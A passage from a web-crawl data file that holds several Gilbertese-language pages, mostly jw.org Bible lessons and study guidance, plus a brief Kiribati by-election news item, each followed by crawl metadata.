aei bon Itaia 24:2, ike te rain teuana e kaotii taeka aika kaaitara nanoia, ao te rain teuana imwin teuana e a buoka riki katereterean ae nanonaki bwa bon akea ae e na aki motikaki taekana iroun te Atua. Ataakin kiibu akanne bwa te kario e kaotia nakon te tia wareware bwa tiaki nanona bwa e kaokioka te bae e taekinna te tia korea te Baibara, ma e kabongana te kario bwa ana anga ni katuruturua ana rongorongo te Atua.\nE aki rangi n teretere n taai nako te kaokoro i marenan te Taetae n Ebera ae tiaki te kario ma ae te kario, ngaia are iai te kaokoro n taian rairai n te Baibara ni kaineti ma taiani kario. E kainnanoaki wanawanaia taan rairai bwa a na ataia bwa a nga iai kiibu aika koreaki n tein te kario. Tabeua iai koroboki i nanoia aika kabonganai taeka ni kario, taeka aika korotaamnei, taeka ni kamwaninga, ao taeka aika titeboo nanoia, ni katereterea iai te bwai ae kakawaki.\nE rangi n ibuobuoki te bwai ae boou ae mena ni moani bokin nako te Baibara ae Kanoana, bwa e kaota bibitakia taan taetae n te kario nikawai ae Ana Anene Toromon.\nE kangaa n rotaki te rairai ae boou man nenerani moani koroboki nikawai? Te moan rairai n Te Baibara ae Tabu—Te Rairai ae te Aonnaba ae Boou e boni boto i aon te koroboki n te Taetae n Ebera are karaoaki irouia taiani Masorete ao te koroboki n te taetae ni Kuriiti ae karineaki ae karaoaki irouia Westcott ma Hort. E ririkirake nenerani koroboki nikawai n te Baibara ao e a karekea riki te ota ni kaineti ma kiibu tabeua. A a tauraoi katoton Nira ni Boki Man Taari ae Mate. A a bati riki koroboki nikawai n te Taetae ni Kuriiti ake a neneraki. A bati bwaai ni kakoaua aika koroboki nikawai ake a a tibwa reke aika a tauraoi ngkai n te kaombiuta, ae e a bebete riki iai ataakin te kaokoro i marenani koroboki nikawai bwa e nga iai man te koroboki n te taetae n Ebera ke ni Kuriiti ae eti riki. E kabonganai raoi rikirake aikai te Komete Ibukin Rairan Te Baibara ae Tabu—Te Rairai ae te Aonnaba ae Boou n neneri iai kiibu tabeua, ao ibukin anne a a karaoaki bitaki tabeua.\nN te katoto, 2 Tamuera 13:21 n te Greek Septuagint ao e kabonganai taeka aika titeboo ma aikai: \"Ma e aki kan urua nanon Amnon are natina ibukina bwa e tangiria, ngkai boni ngaia ana karimoa.\" Akea taeka aikai n rairai mai mwaina n Te Baibara ae Tabu—Te Rairai ae te Aonnaba ae Boou ibukina bwa a aki mena n te koroboki are mairouia taiani Masorete. Ma a mena taeka aikai n Nira ni Boki Man Taari ae Mate, ao a a karinaki ngkai n te rairai ae boou. Ibukin naba anne, e a manga kaokaki aran te Atua nimaua te tai n te boki ae Te Moan Tamuera. Man nenerani koroboki ni Kuriiti, e a karekea naba te bitaki nakoni barongaan iango ake ni Mataio 21:29-31. Ma e ngae n anne a boto bitaki tabeua i aoni kakawakin te bwai ni kakoaua man te koroboki nikawai, n oneani mwin are tii irakin te koroboki n te taetae ni Kuriiti nikawai ae tii teuana.\nAikai tii tabeua mai buakoni bitaki ake a a kanakoraoa riki te wareware ao te ota irouia te koraki aika bati ake a iangoa Te Baibara ae Tabu—Te Rairai ae te Aonnaba ae Boou bwa te bwaintangira mairoun te Atua ae rereitaki ma aomata.\n^ bar. 10 Nora te New World Translation of the Holy Scriptures","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20151215\/nwt-baibara-2013\/","date":"2018-01-16T15:44:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886437.0\/warc\/CC-MAIN-20180116144951-20180116164951-00267.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2028,"character_repetition_ratio":0.08,"word_repetition_ratio":0.017,"special_characters_ratio":0.234,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E tangirira te Atua bwa ti na maeka ma te rau ao te kukurei n aki toki n te aonnaba ae bwaretaiti!\nMa e ngae n anne, ko kona n iango ni kangai, 'E na kangaa n riki anne?' E taekinaki n te Baibara bwa e na kakoroa nanon anne Ana Tautaeka n Uea te Atua, ao bon nanon te Atua bwa a na bane aomata n reiakina taekan te Tautaeka n Uea anne ao n ataa ana kantaninga ibukira.\nE tangirira te Atua bwa ti na kakabwaiaaki.\nN aron te karo ae akoi are tangira ae moan te raoiroi ibukia natina, e tangirira naba Tamara are i karawa bwa ti na kukukurei n aki toki. (Itaia 48:17, 18) E a tia ni berita bwa e na \"teimatoa n aki toki ane kakaraoa nanon te Atua.\"\nE tangirira te Atua bwa ti na nakonako ni kawaina nako.\nE taekinaki n te Baibara bwa e tangirira ara tia Karikiriki bwa e na \"reireira ana aro nako\" bwa ti aonga n \"nakonako ni kawaina nako.\" (Itaia 2:2, 3, BG) E a tia ni baireiia raoi \"te koraki ake a na uouota arana\" bwa e aonga ni buta nako ataakin nanona n te aonnaba.\nE tangirira te Atua bwa ti na katiteuanaaki n taromauria.\nA katiteuanaaki aomata n taromaurian Iehova ae itiaki mani bwainan te itangitangiri ni koaua n oneani mwin are a na karaurenakoaki. (Ioane 13:35) Antai ni boong aikai aika a reireinia mwaane ma aine n taabo nako aron te katiteuanaaki ni beku ibukin te Atua? Ti kaungako bwa ko na ukera anne n te boroutia aei.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/nanon-Iehova\/tera-nanon-te-atua\/","date":"2018-01-18T09:05:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887077.23\/warc\/CC-MAIN-20180118071706-20180118091706-00790.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":261,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.494,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Iai kangaanga ake a aikoa kona n tukaki rikia ngkai ke ni katokaki. N te katoto, ngkana e mate ae ko tangiria ke ko kaaitara ma te aoraki ae wenemaan, ao bon akea riki am anga iai, ma ko na bon tii kakaaei aanga ake ko na kekeiaki iai ma rawawatam. E kona n ibuobuoki te Baibara ni baika kakaiaki aikai?\nTE AORAKI AE WENEMAAN\nE kangai Rose: \"Iai aorakin au utu ae reke irou ae e kakaiaki te maraki iai ao e okioki. E a kekerikaaki iai marurungiu.\" Te bwai ae rangi n tabeaianga iai neiei, bwa n tabetai e a aikoa kona ni kaatuua ana iango i aon ana reirei n te Baibara ao ni baike a irekereke ma ana taromauri. Ma e rangi ni buokaki n ana taeka Iesu ae koreaki ni Mataio 19:26 ae kangai: \"E konai bwaai ni kabane te Atua.\" E reke reireian Rose bwa e bati nako te anga n reirei. Ibukina bwa e rangi ni kangaanga n tabetai te wareware ibukini marakina, e a ongongora ni warekan te Baibara ao booki aika aanaki n te Baibara, aika raweaki. * E taku: \"Ngke arona bwa akea baikai ao I a aki ataia bwa ai tera arou ni kateimatoa reitakiu ma te Atua.\"\nNgkana e nanokawaki Rose bwa e a aki kona ni karaoi baike e kakaraoi ngkoa, ao e kabebeteaki n taeka aika koreaki n 2 I-Korinto 8:12, ae kangai: \"E butimwaeaki riki te angabwai ngkana e tauraoi te aomata ni kan anga. E aki kantaningaaki bwa e na anga are akea irouna, ma e na anga are iai irouna.\" E kakauringaki Rose n taeka aikai ae e kukurei te Atua ni baike e karaoi, ibukina bwa e kabanea ana konaa iai ribuakoni mamaarana.\nTE RAWAWATA AE RANGI NI KORAKORA\nE ururing ni kangai Delphine are taekinaki mai mwaina: \"Imwini maten natiu te aine are 18 ana ririki, ao I a rangi n rawawata, ao I a aki kakoauaa ae N na teimatoa ni maiu. A a rangi ni bitaki bwaai.\" Ma e rangi ni korakora kabebetean nanona n taeka ake n Taian Areru 94:19, ike e kangai iai te tia areru nakon te Atua: \"Ngkana a taonainako iango n raraoma, ao ko kabebeteai ma ni karaua nanou.\" E taku neiei: \"I tataro nakon Iehova bwa e na buokai ni karekei baika N na kabebeteaki iai.\"\nE kakatabetabea neiei ni karaoa te mwakuri n anganano ae kakawaki. Imwina riki ao e a kabotaua neiei ma aia kureiaon ataei, are e ngae ngkana e uruaki ma e boni manena naba ibukini karanakin te bwai teuana. N aron anne, e ngae ngke e rangi n uruaki nanon neiei, ma e boni kona naba ni buokiia tabemwaang. E ururing ni kangai: \"I a noria bwa kabonganaan ana boto n reirei te Baibara, ao aanga n iaiango aika oti n te kibu ni kabebeteia aomata, bon ana anga naba Iehova ni kabebeteai ao ni karaua nanou.\" E korei araia naake n te Baibara neiei ake a boo ma te rawawata ae rangi ni korakora ni maiuia. Ao e noria bwa \"a bane n tatataro.\" E noria naba bwa \"ko aki kona ni buokaki ngkana ko aki wawareka te Baibara.\"\nE reke riki reireian Delphine man ana ukeuke n reirei n te Baibara bwa e na kaatuua iangoan taai aika a na roko, ao tiaki taai aika nako. E karaua nanon neiei te kantaninga ae taekinaki ni Mwakuri 24:15 ae kangai: \"A na boni mangauti akana raoiroi ma akana aki raoiroi.\" Tera aroni kakoauaan Iehova iroun neiei ni kaineti ma kautan natina? E kaeka Delphine ni kangai: \"N na nora natiu n taai aika a na roko. E a tia ni baireaki ara tai ni manga kaitiboo, kaanga aron ae e a mwakoro i aon ana karenta Iehova. I bon norira raoi ngaira ni kauoman n ara onnaroka n aron naba are I noria raoi ao n tangiria man te bong are e bungiaki iai.\"\n^ bar. 4 A bati aeka n rawerawe aikai aika mena n ara atureti n te Intanete ae jw.org.\nE kona ni buokiko te Baibara ni karaua nanom n taai naba aika rangi ni karuanikai","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na1-2018-tian-beb\/e-ibuobuoki-ni-kaaitarai-kangaanga\/","date":"2018-01-23T07:11:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00287.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":683,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor.\nIai teniman taan kan anga araia n onean mwin Teburoro Tiito ake a taninga ngkai te kauoua ni karebaoki imwin te moan karebaoki ngkoananoa te kabong 19\/10 iaon tuc.\nN aron are ekaongoaki KU ao naakai bon Mr Taoaba Kaiea, Mr Arobati Brechtefeld ao Nei Tabeta. Imwin te wareware are e karaoaki ni mwaneaban KNYC ngke e tairiki ao a tebenako araia naakai man mwin aia bwi ake a reke irouia ao ni kaetaki ma tuan te rinerine.\nTe kauaoki n rinerine e na manga waekoa ni katanoataki nakon te botanaomata ibukia tii kain tuc ae bwanin ibukin katebenakoan aran temanna are ngaia e n aonea mwin Teburoro Tiito.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/20\/e-aki-tebenako-aran-te-tia-tei-man-tuc-n-te-moan-karebaoki\/","date":"2018-01-17T14:48:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886946.21\/warc\/CC-MAIN-20180117142113-20180117162113-00691.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":111,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kukurei Iehova ngkana ko anga am kabanea n tamaroa nakoina ao e na kakabwaiako\nKo angan Iehova karaoiroana\nE kabwarai am bure Iehova, e akoiko, ao e riki bwa raoraom\nKo namakini kakabwaiaam n ongeabam n ana tua Iehova ao e a rikirake ungan nanom ni kani karaoiroia\nAanga raa ake I kona n anga iai au kabanea n tamaroa nakon Iehova?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/okitobwa-2017-mwb\/kaetieti-ibukin-te-botaki-oki23-29\/aanga-am-kabanea-n-tamaroa-nakon-Iehova\/","date":"2018-01-17T08:20:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886830.8\/warc\/CC-MAIN-20180117063030-20180117083030-00410.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":63,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Teutana te tai imwini bwabetitoakin Iesu, e a moana ana uarongorongo ni kangai: 'E a kaan Ana Tautaeka n Uea te Atua.' A iria taan rimwina ngke e mwananga ni kabutaa Kariraia ao Iutaia. Ngke e a oki Iesu nakon ana kaawa ae Natareta, ao e nakon te tinakoka, e kauka te nira ni boki ae Itaia, ao e wareware n takarua ni kangai: 'E a tia Iehova n anganai te taamnei ae raoiroi bwa I aonga n tataekina te rongorongo ae raoiroi.' Tera nanon anne? E nanonaki iai bwa e ngae ngke a kan noria aomata ni karaoi kakai, ma bukin raoi anganakin Iesu te taamnei ae raoiroi, bwa e na tataekina te rongorongo ae raoiroi. E taku nakoia naake a ongora: 'E a koro bukin te taetae ni burabeti aei n te bong aei.'\nImwina, e a nako Iesu nakon Namani Kariraia, ike e a kaitiboo iai ma aman taan rimwina aika taan akawa. E kaoia ni kangai: 'Nakomai irai, ao N na karaoingkami bwa taan akawa aika konami aomata.' Naakai boni Betero, Anterea, Iakobo, ao Ioane. A waekoa ni kitan aia bitineti n akawa ao a iria, ao a kabutaa Kariraia n tataekina Ana Tautaeka n Uea Iehova. A uarongorongo n taian tinakoka, n taabo ni mwakete, ao n taiani kawai. A iriraki irouia aomata aika bati nakon taabo ake a nako iai. E a butanako rongorongon Iesu n taabo nako, ao e rokoroko naba i Turia.\nImwina riki, e a angania tabeman taan rimwina Iesu te mwaaka ni kamarurungia aomata ao ni kanakoia taimonio. Ake tabeman a iriria n uarongorongo ni kaawa aika bubura ao aika uarereke. Iai naba aine aika kakaonimaki, n ikotaki naba ma Maria are te I-Maketara, Ioana, Tutanna, ao tabeman riki, ake a tabeakina Iesu ma taan rimwina.\nImwini kataneiaakia taan rimwina, e a kanakoia Iesu bwa a na uarongorongo. Ngke a mwananga ni kabutaa Kariraia, a bati aika riki bwa taan rimwina ao a bwabetitoaki. A rangi ni bati aika kan riki bwa taan rimwin Iesu, ngaia are e a kabotauia Iesu ma te tawaana ae e a tauraoi n taiaki. E taku: 'Tataro nakon Iehova bwa e na karekeia riki taani mwakuri aika a na taia te uaa.' Imwina riki, e rineiia 70 taan rimwina ao e kanakoia ni kakauomania bwa a na uarongorongo ni kabutaa Iutaia. A reireinia aeka n aomata nako taekan te Tautaeka n Uea. Ngke a a oki, a rangi n ingainga ni karakina te bwai ae riki, nakon Iesu. Akea te bwai ae e kona ni karaoia te Riaboro ni katokiia man aia mwakuri n uarongorongo.\nE taraia raoi Iesu bwa a na reitaanako te mwakuri ae kakawaki aei taan rimwina, ngkana e a okira karawa. E tuangia ni kangai: 'Tataekina te rongorongo ae raoiroi ni kabutaa te aonnaba. Reireinia aomata Ana Taeka te Atua, ao bwabetitoiia.'\n\"I riai naba n tataekina te rongorongo ae raoiroi ae taekan ana Tautaeka n Uea te Atua nakoni kaawa ake tabeua, bwa ngaia aei bukini kanakoau.\"—Ruka 4:43","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/12\/iesu-e-uarongorongo\/","date":"2018-01-17T23:10:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886979.9\/warc\/CC-MAIN-20180117212700-20180117232700-00719.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":497,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkai ko tabe n reirei n te Baibara ma temanna Ana Tia Kakoaua Iehova, ko bae ni kataia ni kaman rinanoi kaongora ni katoatai imwain am reirei. Ngkana ko kani karekei kakabwaia aika bati, ko karaoa ae riai ngkana ko karaoa naba anne imwaini kaean te botaki n te ekaretia. Ti kona ni karekei kakabwaia ngkana ti karaoa ara babaire ae teimatoa.\nBairea te tai ao te tabo are ko na ukeuke n reirei iai. N ningai te tai ae raoiroi ibukini kaatuuan am iango iai? N te moan ingabong imwaini moanakin am mwakuri ke n te tairiki imwini matuia natim? E ngae ngkana ko aki kona ni karaoa am ukeuke n reirei n te tai ae abwabwaki, ma bairea abwakin te tai ae ko kona ni karaoia iai, ao iangoia bwa e na akea te bwai ae e na katabetabeko. Kakaaea te tabo ae rau, ao tiringi bwaai nako ake a na katabetabeko n aron te rerio, te T.V. ao te tareboon ae uouotaki. E kona n ibuobuoki te tataro imwain te ukeuke n reirei bwa e na kabebetea raraomam ibukini kanoan te bong anne n te aro are ko a kaatuua am iango i aon Ana Taeka te Atua.\nKanikinaea am kaeka ao katauraoiko n anga am ibuobuoki. Moanna mani karekean otam raoi n te kaongora anne ni kabane. Iangoa atun te kaongora ke te mwakoro, iangoa naba irekereken atuni barakirabe ma te boto n iango, ao neneri taamnei ao titiraki ni kauring akana katuruturuaki iai reirei aika kakawaki. Imwina, wareki barakirabe ni kabane, ao kakaaei kaekaan titiraki akana iai. Kakaaei ao wareki kiibu akana kaotaki ao iangoia bwa a kangaa ni boutokaa te kaongora anne. (Mwakuri 17:11) Ngkana e a reke am kaeka, mwaakeni taeka tabeua aika kakawaki ke kibuntaeka n te barakirabe anne ake a na kauringko am kaeka. Ngkanne n tain te botaki, ko a kona ni katea baim ngkana ko kukurei n anga am kaeka n te aro ae kimototo ni bon oin am taeka.\nNgkana ko neneri reirei aika kakaokoro ake a rinanoaki ni katoa wiki ni bobotaki, ko a kaikoi riki iai iango aika boou ni \"nnen [am] bwai aika kakawaki\" n am atatai man te Baibara.\nTera am babaire ae ko kona ni moanna ibukin am katauraoi nakoni bobotaki?\nKo na kangaa ni katauraoiko bwa ko na anga am ibuobuoki n te botaki?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/nanon-Iehova\/arora-ni-katauraoi-imwain-te-botaki\/","date":"2018-01-17T23:10:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886979.9\/warc\/CC-MAIN-20180117212700-20180117232700-00719.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":391,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.355,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te tairiki teuana ao e miia te bwai ae kakamaaku Nebukaneta. E weteiia ana aomata aika wanawana ao e tuangia bwa a na kaota nanona. Ma akea i buakoia ae kona ni kaota nanoni miina. N tokina, e a taetae te uea nakon Taniera.\nE taku: 'Ngke I mii ao I nora te aroka teuana. E rikirake n rietata ni karokoa ae e a rota karawa. E kona n noraki mai tabon nako te aonnaba. A tamaroa baana ao a bati uaana. A motirawa i aan nuuna maan, ao a karaoi ngaoia mannikiba i aoni mwaangana. Imwina, e ruo te anera mai karawa ao e takarua ni kangai: \"Korea te aroka anne ni kabwakaa, ao korei mwaangana. Ma katuka botona ma wakaana n te tano, ma kabaeana ae te biti ma te buraati. E na bitaki nanon te kai anne man te nano n aomata nakon nanon te man, ao e na tiku n arona anne i nanon taai aika itiua. A na ataia aomata nako ae te Atua bon te tia Tautaeka ao e kona n anga te tautaeka n uea nakon ane e kan anganna.\" '\nE kaota nanon te mii Iehova nakon Taniera. Ngke e a ataa nanon te mii Taniera ao e maaku moa. E taku: 'Te uea, e bia kaineti te mii anne nakoia naake a riribaiko, ma ngaia bon taekam. Te aroka ae rangi n rietata are e koreaki boni ngkoe. E na bua am tautaeka n uea, ao ko na kakana uteuten te tawaana n aron te man ae moaanti. Ma ibukina bwa e tua te anera bwa e na katukaki botona ma wakaana, ko na manga riki bwa te uea.'\nTeuana te ririki imwina ao e nakonako Nebukaneta i aon taubukin ana baareti ae borababaua, ao e tarataraa Baburon ni mataaiakinna. E taku: 'Nora te kaawa ae moan te tamaroa ae I kateia. Ai kakannatora ngai!' Ngke e tabe n taetae ao e a roko naba te bwanaa mai karawa ae kangai: 'Nebukaneta! E a anaaki ngkai mairoum am tautaeka n uea.'\nN te tai naba anne ao e a bua ana iango Nebukaneta ao e a riki bwa ai aron te man ae moaanti. E kairoroaki bwa e na kitana ana baareti ao e a mamaeka ma maan aika moaanti n te tawaana. E a mwarairai irana n aroni buraeia ikare, ao ukinibaina ai aron ukinibaia mannikiba.\nImwin itiua te ririki, e a manga okira arona Nebukaneta ao Iehova e kaueaa i Baburon. Ao e taku Nebukaneta: 'I karaoiroa Iehova ae Ueani karawa. I a ataia ngkai bwa Iehova bon te tia Tautaeka. E kananorinanoia aomata aika kainikatonga, ao e kona n anga te tautaeka n uea nakon ane e kan anganna.'\n\"Te nanorieta e rimoan te kabuanibwai, ao te iango ae kainikatonga e rimoan te bwaka.\"—Taeka N Rabakau 16:18","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/10\/nebukaneta-mii-aroka\/","date":"2018-01-23T16:16:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891980.75\/warc\/CC-MAIN-20180123151545-20180123171545-00095.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":468,"character_repetition_ratio":0.051,"word_repetition_ratio":0.022,"special_characters_ratio":0.232,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tera ae nanonaki n ukoukoran Iehova?\nE nanonaki iai bwa ti na teimatoa n reiakina taekan Iehova ao ni maiuakin ana kaetieti\nTera are riki nakoia tibun Iteraera ngke a kabwaka n ukoukora Iehova?\nA katoka 'ribaan te bwai ae buakaka ao tangiran te bwai ae raoiroi'\nA kaatuua iangoani kakukureiaia i bon irouia\nA kakeaa bongan ana kaetieti Iehova\nTera ae e katauraoia Iehova ibukini buokara n ukoukoria?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/nobembwa-2017-mwb\/kaetieti-ibukin-te-botaki-nob6-12\/ukoukora-iehova-teimatoa-ni-maiu\/","date":"2018-01-23T06:38:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00317.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":69,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E KABUAKAKAIA BARITAIO AIKA TAANI MWAMWANAA TE ABA IESU\nNi menan Iesu i Iutaia ao e butimwaea te kakao ibukin te amwarake mairoun te Baritaio. E bae ni karaoaki te amwarake n te ngaina ao tiaki n te tairiki. (Ruka 11:37, 38; kabotaua ma Ruka 14:12.) Imwain amwarakeia ao a a karaoa aia katei Baritaio n tebokirake baia nakoni bubuanibaia. Ma e aki karaoia Iesu. (Mataio 15:1, 2) E aki uruaki ana Tua te Atua ni karaoan te aeka n tebobai anne, ma bon tiaki te bwai ae tangiria te Atua.\nE mimi te Baritaio ngkai e aki ira te katei anne Iesu. E nora aei Iesu ao e taku: \"Ngkami aika Baritaio, kam kaitiaka tinanikun te mwangko ma te raurau, ma a onrake nanomi n te nanonrang ma te buakaka. Kam baba! Tiaki e karaoa tinanikun te bwai te Atua, ao e karaoa naba nanona?\"—Ruka 11:39, 40.\nTiaki te bwai ae kauntaekaaki ngkai itiakin te bai imwain te amwarake, ma bon taekani mwamwanaan te aba n te Aro. A kabwaka ni kaitiakii nanoia man te buakaka Baritaio ao tabeman riki ake a kakaonimaki n teboki baia. Ngaia are e anga te reirei ni kairiri Iesu nakoia ae kangai: \"Aanga ami bwaintituaraoi ake a nako mai nanomi, ao noria! a na bane n itiaki baika irekereke ma ngkami.\" (Ruka 11:41) Ai boni koauara anne! E riai n nako man te nano ae tatangira te anganga ao tiaki ibukini kakukureiaia tabeman n te baka n raoiroi.\nTiaki nanona bwa a aki anganga te bwai teuana mwaane aikai. E katerea Iesu ni kangai: \"Kam anganga kabwian te minte ma te rue ao aroka ake a kakanaki riki tabeua, ma kam tarariaoa taekan te kaetitaeka ae riai ma tangiran te Atua! Kam kabaeaki bwa kam na kabwianibwai ni baikai, ma kam na aki naba kakeai ake tabeua.\" (Ruka 11:42) E taekinaki n ana Tua te Atua kabwakaan taiani kabwianibwai n (teuana katebwinani mwakoron) te aroka. (Te Tua-Kaua 14:22) A reke naba n aei te minte ao te rue, ake aroka ake a kakanaki ke aroka ake a kabonganaaki ibukin renganan te amwarake. A kakaonimaki Baritaio ni kabwakai teuana katebwinani mwakoron aroka aika kakanaki aikai, ma tera aroni baika kakawaki riki n te Tua, n aroni bwainan te kaetitaeka ae riai ao te nanorinano i matan te Atua?—Mika 6:8.\nE reitia Iesu ni kangai: \"A na reke kaimi Baritaio, ibukina bwa kam tangiri kaintekateka i moa n taian tinakoka ma kakamaurakimi irouia aomata n te aro ae rine n taabo ni mwakete! A na reke kaimi ibukina bwa ai aron ruanimate ngkami ake a aki noraki, are a nakonako aomata i aoia ao a aki ataia!\" (Ruka 11:43, 44) Eng, a kona aomata n toui ruanimate akanne ao n riki n aki itiaki iai. E kabongana Iesu te bwai ae koaua ni katereterea iai buakakaia Baritaio ae aki noraki.—Mataio 23:27.\nE ngurengure temanna te mwaane ae rangi ni mwaatai n ana Tua te Atua ni kangai: \"Te tia Reirei, ko kaunira ngkanne ngkai ko atongi baikai.\" Ma a riai n ataia mwaane akanne bwa a kabwaka ni buokiia aomata. E taku Iesu: \"A na reke naba kaimi ngkami aika kam rabakau n te Tua, ibukina bwa kam karawawataia aomata n uotaia aika rangi n tinebu, ma kam aki ringi naba teutana n tabonibaimi teaina! A na reke kaimi, ibukina bwa kam katei ruanimateia burabeti, ma a bon tiringaki irouia ami bakatibu!\"—Ruka 11:45-47.\nUota ake e taekin Iesu bon taiani katei aika bwabwainaki ao kabwarabwaraan te Tua irouia Baritaio. A bon aki kabebetea maiuia aomata mwaane aikai. Ma a imanonoa ae a riai aomata ni kabane ni kawakin uota aika rawawata. A kamateia ana burabeti te Atua aia bakatibu ni moa mairoun Abera. E taraa n ae a karineia burabeti n aroia ni karaoi ruanimateia ma a boni katotong aroaroia aia bakatibu ma aia mwakuri. A ukera naba tiringan ana Burabeti te Atua ae te kabanea ni kakannato. E taku Iesu bwa e na boni bairea taekan te roro aei te Atua. E koro raoi bukin anne tao 38 te ririki imwina n 70 C.E.\nE reitia Iesu ni kangai: \"A na reke kaimi ngkami akana kam rabakau n te Tua, ibukina bwa kam uotaanako kiingin te atatai, bwa kam aki kan rin ao kam tukiia ake a kan rin!\" (Ruka 11:52) Mwaane aikai ake a bon riai n angareirei i aon ae nanonaki n ana Taeka te Atua, ma a aki bwa a tukiia aomata man ataakina ao otaia iai.\nTera aroia iai Baritaio ao taani koroboki? Ngke e a nako Iesu ao a a rangi n un irouna ao a a kaitaraa ao ni kabuakakaa n taian titiraki. A aki titiraki ibukina bwa a kan reireiaki irouna ma a kani kamwanea bwa e na taekina te bwai are a na kona ni kamatawarikia iai.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-iutaia\/kabuakakaa-mwamwanaa-te-aba-baritaio\/","date":"2018-01-17T23:09:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886979.9\/warc\/CC-MAIN-20180117212700-20180117232700-00319.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 